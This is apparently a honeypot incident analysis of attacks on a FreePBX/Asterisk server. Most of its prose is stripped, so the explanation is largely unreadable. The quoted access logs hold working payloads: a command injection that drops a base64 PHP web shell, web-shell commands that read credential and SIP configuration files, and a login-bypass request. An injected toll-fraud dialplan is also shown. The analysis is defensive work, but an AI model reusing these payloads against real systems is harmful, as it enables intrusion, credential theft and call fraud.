Thankuohoh | Asterisk

Safety first

8

! - IP-, , . IP- Asterisk FreePBX, , , .

TL;DR: FreePBX (RCE Remote Code Execution), . :
  • CVE-2014-7235 ARI Framework (Asterisk Recording Interface - ARI) FreePBX 2.9.0.9, 2.10.x, 2.11 2.11.1.5.
  • SEC-2016-004 - Hotel Wakeup ( 13.0.1alpha2 13.0.14) System Recordings ( 13.0.1beta1 13.0.26)
  • CVE-2019-19006 (SEC-2019-001) Framework FreePBX v13.0.197.13, v14.0.13.11 v15.0.16.26
( ) . . , - FreePBX ( 80 HTTP, 443 HTTPS), .

- IP- , . ! FreePBX web- .

(Reconnaisance)

( ) - FreePBX . , . 80 (HTTP), 443 (HTTPS) 8080. . , , , FreePBX ? , , , ( ) FreePBX. . HTTP- ( : /var/log/httpd/access_log) , .

, , (Honeypot) , . FreePBX 13 - ( 80 443 )

, :

HTTP

(11.22.33.44), User-Agent, . , :

169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"

:

  • 169.197.108[.]42 , ;
  • GET /admin - https://11.22.33[.]44/admin;
  • 301 HTTP 302 (Moved Permanently ). , , ( https://11.22.33[.]44/admin ) ;
  • "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome 60 Windows 10. , https://11.22.33[.]44/admin Chrome.

, , , ( 200 ). :

  • 169.197.108[.]42
  • 198.108.66[.]192
  • 45.143.221[.]50
  • 173.212.225[.]214
  • 45.143.220[.]111

, , - /admin/config.php, 173.212.225[.]214.

HTTP

, FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), /admin/config.php , :

/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"

(Delivery)

IP- . , /rr.php, HTTP 403 (Forbidden).

User-agent - python-requests/2.22.0 libwww-perl/6.42. , WWW Pearl Python.

, - 45.143.220[.]111 - /rr.php. User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64".

rr.php

rr.php : 

"GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64"

rr.php base64 : 

20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg

:

rr.php

php /var/www/html/, . config.php?display=cli? , !

User Agent 16:17:53 "curl/7.29.0". , - curl ( ) - . ?

(Installation)

/var/log/httpd/error_log , curl.

Error log

Pastebin (, ) /raw/Dbnw6kqb. base64, - :

Pastebin

:

/var/www/html/badr.php

, , , . , - Amportal ( FreePBX ARI AMDB), /etc/amportal.conf , .

(Command & Control)

, , . rr.php, ? !

php-, - yokyok . , ( 16:17:51 54) /etc/amportal.conf /etc/asterisk/sip_additional.conf.

sip_additional.conf , . :

[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})}); 
thankuohoh                                                                                                                                                           
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh

PROFIT (Actions on Objectives)

, :

,

, , rr.php yokyok. ? :

45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"

CDR Reports :

. , , - thankuohoh? .. ?

, , Asterisk 443, 80, 8080 !

PS: , CVE-2019-19006 (SEC-2019-001): 

[SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) - framework           13.0.195.4        Online upgrade available (13.0.197.14)

?

Telegram Youtube

40%
50%
60%
: 30 24 : 59 : 59